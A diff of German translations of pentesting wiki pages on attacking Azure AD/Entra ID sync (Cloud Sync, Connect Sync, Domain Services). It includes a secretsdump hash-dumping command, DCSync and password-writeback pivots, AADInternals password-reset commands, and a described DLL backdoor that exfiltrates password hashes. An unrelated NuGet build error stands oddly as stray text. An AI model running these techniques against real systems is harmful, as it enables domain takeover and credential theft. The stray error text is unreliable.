 secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
 ```
-Dies dumpft alle AD-Benutzerpassworthashes und gibt dem Angreifer den KRBTGT-Hash (was es ihm ermöglicht, Kerberos-Tickets für die Domäne nach Belieben zu fälschen) und effektiv **Domain Admin**-Privilegien über AD. Wenn das Zielkonto ein anderer privilegierter Benutzer wäre, könnte der Angreifer das vollständige TGT verwenden, um auf jede Domänenressource als dieser Benutzer zuzugreifen.
+Dies dumpft alle AD-Benutzerpassworthashes und gibt dem Angreifer den KRBTGT-Hash (was es ihm ermöglicht, Kerberos-Tickets für die Domäne nach Belieben zu fälschen) und effektiv **Domain Admin**-Berechtigungen über AD. Wenn das Zielkonto ein anderer privilegierter Benutzer wäre, könnte der Angreifer das vollständige TGT verwenden, um auf jede Domänenressource als dieser Benutzer zuzugreifen.
 
-6.  **Bereinigung:** Optional kann der Angreifer den ursprünglichen `onPremisesSAMAccountName` und SID des modifizierten Azure AD-Benutzers über dieselbe API wiederherstellen oder einfach jeden erstellten temporären Benutzer löschen. In vielen Fällen wird der nächste Azure AD Connect-Synchronisierungszyklus nicht autorisierte Änderungen an synchronisierten Attributen automatisch zurücksetzen. (Zu diesem Zeitpunkt ist der Schaden jedoch bereits angerichtet – der Angreifer hat DA-Privilegien.)
+6.  **Bereinigung:** Optional kann der Angreifer den ursprünglichen `onPremisesSAMAccountName` und SID des modifizierten Azure AD-Benutzers über dieselbe API wiederherstellen oder einfach jeden erstellten temporären Benutzer löschen. In vielen Fällen wird der nächste Azure AD Connect-Synchronisierungszyklus nicht autorisierte Änderungen an synchronisierten Attributen automatisch zurücksetzen. (Zu diesem Zeitpunkt ist der Schaden jedoch bereits angerichtet – der Angreifer hat DA-Berechtigungen.)
 
 > [!WARNING]
-> Durch den Missbrauch des Cloud-Vertrauens und des Synchronisierungsmechanismus kann ein Global Admin von Azure AD nahezu *jedes* AD-Konto nachahmen, das nicht ausdrücklich durch die RODC-Richtlinie geschützt ist, selbst wenn dieses Konto nie cloud-synchronisiert wurde. In einer Standardkonfiguration **überbrückt dies ein vollständiges Vertrauen vom Azure AD-Kompromiss zum on-prem AD-Kompromiss**.
+> Durch den Missbrauch des Cloud-Vertrauens und des Synchronisierungsmechanismus kann ein Global Admin von Azure AD nahezu *jedes* AD-Konto nachahmen, das nicht ausdrücklich durch die RODC-Richtlinie geschützt ist, selbst wenn dieses Konto nie cloud-synchronisiert wurde. In einer Standardkonfiguration **überbrückt dies ein vollständiges Vertrauen vom Kompromiss von Azure AD zum Kompromiss von on-prem AD**.
 
 
 ## References

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

@@ -6,7 +6,7 @@
 
 **Cloud Sync** ist im Grunde die neue Methode von Azure, um **die Benutzer von AD in Entra ID zu synchronisieren**.
 
-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das entwickelt wurde, um Ihre Ziele für hybride Identität bei der Synchronisierung von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen. Dies wird erreicht, indem der Microsoft Entra Cloud-Provisioning-Agent anstelle der Microsoft Entra Connect-Anwendung verwendet wird. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das entwickelt wurde, um Ihre hybriden Identitätsziele für die Synchronisierung von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen. Dies wird erreicht, indem der Microsoft Entra Cloud-Provisioning-Agent anstelle der Microsoft Entra Connect-Anwendung verwendet wird. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden.
 
 ### Generierte Prinzipale
 
@@ -19,13 +19,13 @@ Damit dies funktioniert, werden einige Prinzipale sowohl in Entra ID als auch im
 
 - In Entra ID wird auch die Gruppe **`AAD DC Administrators`** ohne Mitglieder oder Eigentümer erstellt. Diese Gruppe ist nützlich, wenn [`Microsoft Entra Domain Services`](./az-domain-services.md) verwendet wird.
 
-- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt, oder ein benutzerdefiniertes mit [**diesen Berechtigungen benötigt**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt.
+- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt oder ein benutzerdefiniertes mit [**diesen Berechtigungen benötigt**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt.
 
 > [!WARNING]
-> Unter anderen Berechtigungen hat das Dienstkonto **`provAgentgMSA`** DCSync-Berechtigungen, die **es jedem, der es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen über [DCSync siehe hier](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+> Unter anderem hat das Dienstkonto **`provAgentgMSA`** DCSync-Berechtigungen, die es **jeder Person, die es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen über [DCSync überprüfen Sie dies](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
 
 > [!NOTE]
-> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht synchronisiert** mit Entra ID aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil von privilegierten Gruppen ohne dieses Attribut sind oder direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**.
+> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht synchronisiert** mit Entra ID aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil privilegierter Gruppen ohne dieses Attribut sind oder die direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**.
 
 ## Passwortsynchronisierung
 
@@ -35,9 +35,9 @@ Der Abschnitt ist sehr ähnlich zu dem aus:
 az-connect-sync.md
 {{#endref}}
 
-- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich **mit ihren Passwörtern aus AD in Entra ID anmelden können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
-- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, was automatisch ihr Passwort im lokalen Domänen synchronisiert. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen.
-- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, dass Gruppenmitgliedschaften von Entra ID zurück in das lokale AD synchronisiert werden. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird.
+- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich mit ihren Passwörtern aus AD in Entra ID **einloggen können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
+- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, wobei ihr Passwort automatisch im On-Premise-Domain synchronisiert wird. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen.
+- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, dass Gruppenmitgliedschaften von Entra ID zurück in das On-Premise-AD synchronisiert werden. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird.
 
 ## Pivoting
 
@@ -46,9 +46,9 @@ az-connect-sync.md
 - Wenn die AD-Benutzer von AD nach Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert, einfach **das Passwort eines Benutzers kompromittieren oder das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert wird (in der Regel nur ein paar Minuten)**.
 
 Sie könnten zum Beispiel
-- Das **`provAgentgMSA`**-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID anzumelden.
-- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID anzumelden.
-- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID anzumelden.
+- Das Konto **`provAgentgMSA`** kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID einzuloggen.
+- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID einzuloggen.
+- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID einzuloggen.
 
 Um die **`provAgentgMSA`**-Anmeldeinformationen zu kompromittieren:
 ```powershell
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
 {{#endref}}
 
 > [!NOTE]
-> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, beispielsweise in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen ebenfalls diese erhalten, oder **dynamische Gruppen könnten verwendet werden**, daher sollten Sie immer nach dynamischen Regeln und potenziellen Möglichkeiten suchen, diese auszunutzen:
+> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, zum Beispiel in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen diese ebenfalls erhalten, oder **dynamische Gruppen könnten verwendet werden**, also überprüfen Sie immer die dynamischen Regeln und potenzielle Möglichkeiten, sie auszunutzen:
 
 {{#ref}}
 ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 {{#endref}}
 
-Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die dll **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der Benutzer, die synchronisiert werden, an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes exfiltrieren):
+Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die dll **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der synchronisierten Benutzer an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes zu exfiltrieren):
 ```csharp
 using System;
 using System.Net;
@@ -121,16 +121,18 @@ RawHash = passwordHashData.RawHash
 }
 }
 ```
-NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' nicht gefunden. Bitte sehen Sie sich das Fehlerlistenfenster für detaillierte Warnungen und Fehler an.
+NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden.  
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' nicht gefunden.  
+Bitte sehen Sie sich das Fenster Fehlerliste für detaillierte Warnungen und Fehler an.
 
 ### Entra ID --> AD
 
-- Wenn **Password Writeback** aktiviert ist, könnten Sie das Passwort einiger Benutzer aus Entra ID ändern und sich mit diesen im AD-Netzwerk verbinden, wenn Sie Zugriff darauf haben. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da das Password Writeback über diesen Agenten konfiguriert wird.
+- Wenn **Password Writeback** aktiviert ist, könnten Sie das Passwort einiger Benutzer aus Entra ID ändern und, wenn Sie Zugriff auf das AD-Netzwerk haben, sich mit diesen anmelden. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da die Passwortwiederherstellung mit diesem Agenten konfiguriert wird.
 
-- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach zu viel Zeit habe ich festgestellt, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können:
+- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach längerer Zeit stellte ich fest, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können:
 
-> - Diese Gruppen können nur synchronisierte Benutzer vor Ort und / oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten.
-> - Die synchronisierten Benutzerkonten vor Ort, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder aus verschiedenen Domänen stammen, müssen jedoch alle aus demselben Forest stammen.
+> - Diese Gruppen können nur lokal synchronisierte Benutzer und/oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten.  
+> - Die lokal synchronisierten Benutzerkonten, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder domänenübergreifend stammen, müssen jedoch alle aus demselben Forest stammen.
 
 Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist also erheblich reduziert, da ein Angreifer das ursprüngliche AD, von dem die Benutzer synchronisiert werden, kompromittieren müsste, um einen Benutzer in der anderen Domäne zu kompromittieren (und beide müssen anscheinend im selben Forest sein).
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md

@@ -18,10 +18,10 @@ az-cloud-sync.md
 
 ### Generierte Prinzipien
 
-- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für **Verzeichnis-Synchronisierungskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
+- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für **Directory Synchronization Accounts** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
 - Das bedeutet, dass jeder, der dieses Konto kompromittiert, in der Lage sein wird, die lokale Domäne zu kompromittieren.
 - Ein verwaltetes Dienstkonto **`ADSyncMSA<id>`** wird im lokalen AD ohne besondere Standardberechtigungen erstellt.
-- In Entra ID wird das Dienstprinzipal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
+- In Entra ID wird das Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
 
 ## Passwörter synchronisieren
 
@@ -33,7 +33,7 @@ Diese Komponente kann auch verwendet werden, um **Passwörter von AD in Entra ID
 
 Im Grunde werden alle **Benutzer** und ein **Hash der Passwort-Hashes** von der lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **originalen** **Hashes** nicht an Azure AD gesendet.
 
-Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen**, indem er das alte Passwort verwendet.
+Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen** mit dem alten Passwort zugreifen.
 
 Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.
 
@@ -42,17 +42,17 @@ Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt di
 
 ### Passwort-Rückschreibung
 
-Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter eines beliebigen Benutzers im AD ändern kann**.
+Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter von beliebigen Benutzern im AD ändern kann**.
 
 Dies ist besonders interessant, um das AD von einem kompromittierten Entra ID zu kompromittieren, da Sie in der Lage sein werden, das Passwort von "fast" jedem Benutzer zu ändern.
 
-Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut **`adminCount` auf 1** hat. Aber andere Benutzer, die hohe Berechtigungen innerhalb des AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
+Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut **`adminCount` auf 1** hat. Aber andere Benutzer, die hohe Berechtigungen im AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
 
 - Benutzer, die direkt hohe Berechtigungen zugewiesen bekommen haben.
-- Benutzer aus der **`DNSAdmins`**-Gruppe.
+- Benutzer aus der Gruppe **`DNSAdmins`**.
 - Benutzer aus der Gruppe **`Group Policy Creator Owners`**, die GPOs erstellt und ihnen OUs zugewiesen haben, werden in der Lage sein, die GPOs, die sie erstellt haben, zu ändern.
-- Benutzer aus der **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
-- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das **`adminCount`-Attribut auf 1**.
+- Benutzer aus der Gruppe **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
+- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das Attribut **`adminCount` auf 1**.
 
 ## Pivoting AD --> Entra ID
 
@@ -83,7 +83,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
 ```
 ### Finden der Passwörter
 
-Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server** auf dem Server gespeichert, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
+Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server gespeichert** auf dem Server, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
 Die Datenbank befindet sich in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
 Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:
@@ -128,7 +128,7 @@ Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Managementroll
 Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um einige privilegierte Aktionen über eine undocumented API durchzuführen, aber bisher wurde afaik kein PoC gefunden.\
 In jedem Fall wäre es interessant, weiter zu erkunden, wie man das Zertifikat findet, um sich als dieser Dienstprinzipal anzumelden und zu versuchen, es auszunutzen.
 
-Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) wurde kurz vor der Änderung von der Verwendung des Benutzers `Sync_*` zu diesem Dienstprinzipal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat zum Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um Persistenz als SP aufrechtzuerhalten.
+Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), der kurz vor der Änderung von der Verwendung des `Sync_*`-Benutzers zu diesem Dienstprinzipal veröffentlicht wurde, erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat für den Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um als SP persistente zu bleiben.
 
 Um diese Aktionen durchzuführen, sind die folgenden Tools veröffentlicht: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
 
@@ -139,7 +139,7 @@ Nach meiner Erfahrung wird das Zertifikat nicht mehr an dem Ort gespeichert, an
 > [!WARNING]
 > Früher wurde ein Benutzer namens `Sync_*` in Entra ID mit sehr sensiblen Berechtigungen erstellt, die es ermöglichten, privilegierte Aktionen wie das Ändern des Passworts eines beliebigen Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem Dienstprinzipal durchzuführen. Ab Januar 2025 wird dieser Benutzer jedoch standardmäßig nicht mehr erstellt, da jetzt die Anwendung/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** verwendet wird. Er könnte jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt es sich, danach zu suchen.
 
-Die Kompromittierung des **`Sync_*`** Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
+Die Kompromittierung des **`Sync_*`**-Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
 ```bash
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
 Import-Module AADInternals
@@ -175,7 +175,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.
 
 > [!CAUTION]
-> Eine andere Option wäre, **privilegierte Berechtigungen für einen Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf diesen Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.
+> Eine andere Option wäre, **privilegierte Berechtigungen einem Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf diesen Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.
 
 ### Nahtloses SSO
 
@@ -187,8 +187,8 @@ seamless-sso.md
 
 ## Pivotierung Entra ID --> AD
 
-- Wenn die Passwortschreibback-Funktion aktiviert ist, können Sie **das Passwort eines beliebigen Benutzers im AD** ändern, der mit Entra ID synchronisiert ist.
-- Wenn die Gruppen-Schreibback-Funktion aktiviert ist, können Sie **Benutzer zu privilegierten Gruppen** in Entra ID hinzufügen, die mit dem AD synchronisiert sind.
+- Wenn das Passwort-Writeback aktiviert ist, können Sie **das Passwort eines beliebigen Benutzers im AD** ändern, der mit Entra ID synchronisiert ist.
+- Wenn das Gruppen-Writeback aktiviert ist, können Sie **Benutzer zu privilegierten Gruppen** in Entra ID hinzufügen, die mit dem AD synchronisiert sind.
 
 ## Referenzen
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md

@@ -0,0 +1,86 @@
+# Az - Microsoft Entra Domain Services
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Domain Services
+
+Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne dass Domain Controller verwaltet werden müssen (tatsächlich haben Sie nicht einmal Zugriff auf sie).
+
+Das Hauptziel besteht darin, Ihnen zu ermöglichen, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden verwenden können, oder wenn Sie nicht möchten, dass Verzeichnisabfragen immer auf eine lokale AD DS-Umgebung zurückgehen.
+
+Beachten Sie, dass Sie, um die in Entra ID generierten Benutzer (und nicht aus anderen aktiven Verzeichnissen synchronisierten) mit dem AD-Domain-Service zu synchronisieren, das **Passwort des Benutzers** auf ein neues ändern müssen, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wird.
+
+> [!WARNING]
+> Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie sie nicht vollständig verwalten (es sei denn, Sie nutzen einige Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie durch **Synchronisieren von Benutzern aus Entra ID.** Sie können angeben, dass alle Benutzer (auch die, die aus anderen lokalen ADs synchronisiert wurden), nur Cloud-Benutzer (Benutzer, die in Entra ID erstellt wurden) oder sogar **weiter filtern** synchronisiert werden sollen.
+
+> [!NOTE]
+> Im Allgemeinen ist dies aufgrund der mangelnden Flexibilität bei der Konfiguration der neuen Domäne und der Tatsache, dass ADs normalerweise bereits lokal sind, nicht die Hauptintegration zwischen Entra ID und AD, aber es ist dennoch interessant zu wissen, wie man es kompromittieren kann.
+
+### Pivoting
+
+Mitglieder der generierten **`AAD DC Administrators`**-Gruppe erhalten lokale Administratorrechte auf VMs, die mit der verwalteten Domäne verbunden sind (aber nicht in den Domain Controllern), da sie in die lokale Administratorgruppe aufgenommen werden. Mitglieder dieser Gruppe können auch **Remote Desktop verwenden, um sich remote mit domain-joined VMs zu verbinden**, und sind auch Mitglieder der Gruppen:
+
